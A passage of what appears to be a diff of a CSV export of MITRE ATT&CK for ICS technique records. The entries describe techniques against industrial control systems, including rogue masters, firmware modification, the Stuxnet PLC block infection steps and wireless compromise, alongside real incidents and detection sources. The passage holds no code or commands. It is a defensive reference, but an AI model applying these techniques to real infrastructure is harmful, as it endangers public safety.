'https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf'}]",,attack-pattern,attack-pattern--d67adac8-e3b9-44f9-9e6d-6c2a7d69dbe4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T13:04:01.612Z,Connection Proxy,"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. -In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)",attack-pattern--e0d74479-86d2-465d-bf36-903ebecef43e,attack-pattern,"['impair-process-control', 'inhibit-response-function']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0840', 'source_name': 'mitre-ics-attack', 'external_id': 'T0840'}, {'description': 'MITRE. (n.d.). System Network Connections Discovery. Retrieved May 31, 2018.', 'source_name': 'EAttack System Network Connections Discovery', 'url': 'https://attack.mitre.org/wiki/Technique/T1049'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0840,mitre-ics-attack,T0840,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Connection Enumeration,"Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as [https://en.wikipedia.org/wiki/Netstat netstat], in conjunction with System Firmware, then they can determine the role of certain devices on the network (Citation: EAttack System Network Connections Discovery). The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.",attack-pattern--ea0c980c-5cf0-43a7-a049-59c4c207566e,attack-pattern,['discovery-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Process monitoring', 'API monitoring']",,,,['Human-Machine Interface'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T844', 'source_name': 'mitre-ics-attack', 'external_id': 'T0844'}, {'description': 'John Karl-Heinz. (n.d.). Programming Industrial Automation Systems. Retrieved October 22, 2019.', 'source_name': 'Guidance - IEC61131', 'url': 'http://www.dee.ufrj.br/controle%20automatico/cursos/IEC61131-3%20Programming%20Industrial%20Automation%20Systems.pdf'}, {'description': 'Spenneberg, Ralf, Maik Brüggemann, and Hendrik Schwartke. (2016, March 31). Plc-blaster: A worm living solely in the plc.. Retrieved September 19, 2017.', 'source_name': 'PLCBlaster - Spenneberg', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf'}, {'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'source_name': 'Stuxnet - Symantec - 201102', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T844,mitre-ics-attack,T0844,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Program Organization Units,"Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. (Citation: Guidance - IEC61131) POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. (Citation: Guidance - IEC61131) Application - 201203 They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. (Citation: PLCBlaster - Spenneberg) - -Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks (OB). For example, the following sequence of actions is performed when OB1 is infected (Citation: Stuxnet - Symantec - 201102): -*Increase the size of the original block. -*Write malicious code to the beginning of the block. -*Insert the original OB1 code after the malicious code.",attack-pattern--ae62fe1a-ea1a-479b-8dc0-65d250bd8bc7,attack-pattern,"['lateral-movement-ics', 'execution-ics']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,,,,"['Windows', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,,,,,,True,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0848', 'source_name': 'mitre-ics-attack', 'external_id': 'T0848'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0848,mitre-ics-attack,T0848,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Rogue Master,"Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.",attack-pattern--b14395bd-5419-4ef4-9bd8-696936f509bb,attack-pattern,['initial-access-ics'],2021-04-12T19:26:26.506Z,2020-05-21T17:43:26.506Z,,"['Sequential event recorder', 'Asset management', 'Network protocol analysis', 'Packet capture']",,,,"['Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0881', 'source_name': 'mitre-ics-attack', 'external_id': 'T0881'}, {'description': 'Enterprise ATT&CK. (n.d.). Service Stop. Retrieved October 29, 2019.', 'source_name': 'EAttack Service Stop', 'url': 'https://attack.mitre.org/techniques/T1489/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0881,mitre-ics-attack,T0881,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Service Stop,"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: EAttack Service Stop) +The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. -Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: EAttack Service Stop)",attack-pattern--063b5b92-5361-481a-9c3f-95492ed9a2d8,attack-pattern,['inhibit-response-function'],2021-04-12T16:23:26.506Z,2020-05-21T17:43:26.506Z,,"['Process command-line parameters', 'Process monitoring', 'API monitoring', 'Windows Registry']",,,,"['Windows', 'Human-Machine Interface', 'Control Server', 'Data Historian', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0857', 'source_name': 'mitre-ics-attack', 'external_id': 'T0857'}, {'description': 'Basnight, Zachry, et al.. (n.d.). Retrieved October 17, 2017.', 'source_name': 'Research - Firmware Modification', 'url': 'http://www.sciencedirect.com/science/article/pii/S1874548213000231'}, {'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'source_name': 'Ukraine15 - EISAC - 201603', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0857,mitre-ics-attack,T0857,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,System Firmware,"System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. An adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.(Citation: Research - Firmware Modification)",attack-pattern--b9160e77-ea9e-4ba9-b1c8-53a3c466b13d,attack-pattern,"['persistence-ics', 'inhibit-response-function']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm history', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture']",,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0860', 'source_name': 'mitre-ics-attack', 'external_id': 'T0860'}, {'description': 'Alexander Bolshev. (2014, March 11). S4x14: HART As An Attack Vector. Retrieved January 5, 2020.', 'source_name': 'Hart - Bolshev', 'url': 'https://www.slideshare.net/dgpeters/17-bolshev-1-13'}, {'description': 'Alexander Bolshev, Gleb Cherbov. (2014, July 08). ICSCorsair: How I will PWN your ERP through 4-20 mA current loop. Retrieved January 5, 2020.', 'source_name': 'ICSCorsair - Bolshev', 'url': 'https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf'}, {'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'source_name': 'LodzTram-InHomelandSecurity-2008-02', 'url': 'https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/'}, {'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'source_name': 'LodzTram-LondonReconnections-2017-12', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'source_name': 'LodzTram-Schneier-2008-01', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0860,mitre-ics-attack,T0860,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Wireless Compromise,"Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: ICSCorsair - Bolshev) (Citation: Hart - Bolshev) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. +The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: EAttack Connection Proxy) -A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Maroochy - MITRE - 200808) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. +Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. -A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) The remote controller device allowed the student to interface with the tram’s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: LodzTram-Schneier-2008-01) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: LodzTram-LondonReconnections-2017-12)",attack-pattern--2877063e-1851-48d2-bcc6-bc1d2733157e,attack-pattern,['initial-access-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network protocol analysis', 'Packet capture', 'Network intrusion detection system']",['Scott Dougherty'],,,['Windows'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0804', 'source_name': 'mitre-ics-attack', 'external_id': 'T0804'}, {'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'source_name': 'Ukraine15 - EISAC - 201603', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0804,mitre-ics-attack,T0804,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Block Reporting Message,"Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603)",attack-pattern--3f1f4ccb-9be2-4ff8-8f69-dd972221169b,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm History', 'Data historian', 'Network protocol analysis', 'Packet capture']",,,,"['Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0807', 'source_name': 'mitre-ics-attack', 'external_id': 'T0807'}, {'description': 'Enterprise ATT&CK. (2018, January 11). Command-Line Interface. Retrieved May 17, 2018.', 'source_name': 'EAttack Command-Line Interface', 'url': 'https://attack.mitre.org/wiki/Technique/T1059'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0807,mitre-ics-attack,T0807,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Command-Line Interface,"Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: EAttack Command-Line Interface) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",['command-and-control-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0884,mitre-ics-attack,T0884,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0811', 'external_id': 'T0811'}, {'source_name': 'CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021', 'description': 'ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'}]",,attack-pattern,attack-pattern--3405891b-16aa-4bd7-bd7c-733501f9b20f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Data from Information Repositories,"Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string “SCAD*”, user credentials, and remote dial-up access information.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)",['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0811,mitre-ics-attack,T0811,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'File: File Access']",,,,,"['Control Server', 'Data Historian', 'Engineering Workstation', 'Human-Machine Interface']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0868', 'external_id': 'T0868'}, {'source_name': 'ForumAutomation PLC Operating Modes October 2017', 'description': 'N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021.', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'}, {'source_name': 'Omron PLC Operating Modes', 'description': 'Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021.', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'}, {'source_name': 'Machine Information Systems PLCs 2007', 'description': 'Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021.', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'}, {'source_name': 'PLCgurus PLC Basic 2021', 'description': 'PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021.', 'url': 'https://www.plcgurus.net/plc-basics/'}]",,attack-pattern,attack-pattern--2aa406ed-81c3-4c1d-ba83-cfbee5a2847a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Detect Operating Mode,"Adversaries may gather information about a PLC’s or controller’s current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off. Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode. Remote - Allows for remote changes to a PLC’s operation mode. Stop - The PLC and program is stopped, while in this mode, outputs are forced off. Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.",['collection-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0868,mitre-ics-attack,T0868,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0871', 'external_id': 'T0871'}]",,attack-pattern,attack-pattern--5a2610f6-9fff-41e1-bc27-575ca20383d4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Execution through API,Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.,['execution-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0871,mitre-ics-attack,T0871,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Network Traffic: Network Traffic Content']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0822', 'external_id': 'T0822'}, {'source_name': 'EAttack External Remote Services', 'description': 'Daniel Oakley, Travis Smith, Tripwire. (n.d.). Retrieved May 30, 2018.', 'url': 'https://attack.mitre.org/wiki/Technique/T1133'}, {'source_name': 'Ukraine15 - Zetter, Kim', 'description': ""Zetter, Kim. (2016, March 03). INSIDE THE CUNNING, UNPRECEDENTED HACK OF UKRAINE'S POWER GRID. Retrieved March 8, 2019."", 'url': 'https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/'}, {'source_name': 'Ukraine15 - ICSCERT', 'description': 'ICS-CERT. (2016, February 25). Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved March 8, 2019.', 'url': 'https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01'}, {'source_name': 'Ukraine15 - Fireeye', 'description': 'John Hultquist. (2016, January 07). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved March 8, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html'}, {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}]",,attack-pattern,attack-pattern--8d2f3bab-507c-4424-b58b-edc977bd215c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,External Remote Services,"Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services.(Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.(Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio.",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0822,mitre-ics-attack,T0822,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Flow']",,,,,"['Control Server', 'Input/Output Server']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0872', 'external_id': 'T0872'}]",,attack-pattern,attack-pattern--53a26eee-1080-4d17-9762-2027d5a1b805,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Indicator Removal on Host,"Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.",['evasion-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0872,mitre-ics-attack,T0872,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Deletion', 'File: File Metadata', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution', 'Process: Process Creation', 'User Account: User Account Authentication', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Modification']",,,,,"['Human-Machine Interface', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0827', 'external_id': 'T0827'}, {'source_name': 'Reference - Corero', 'description': 'Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', 'url': 'https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'}, {'source_name': 'Reference - SANS - 201510', 'description': 'Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'}, {'source_name': 'Reference - RIoT', 'description': 'Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.', 'url': 'https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false'}, {'source_name': 'BSI IT Security Situation 2014', 'description': 'Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019.', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3'}]",,attack-pattern,attack-pattern--a81696ef-c106-482c-8f80-59c30f2569fb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,Loss of Control,"Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.(Citation: Reference - Corero)(Citation: Reference - SANS - 201510)(Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report.(Citation: BSI IT Security Situation 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace.",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0827,mitre-ics-attack,T0827,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Dragos Threat Intelligence'],,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0830', 'external_id': 'T0830'}, {'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'source_name': 'Reference - SANS - 201710', 'description': 'Gabriel Sanchez. (2017, October). Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark. Retrieved January 5, 2020.', 'url': 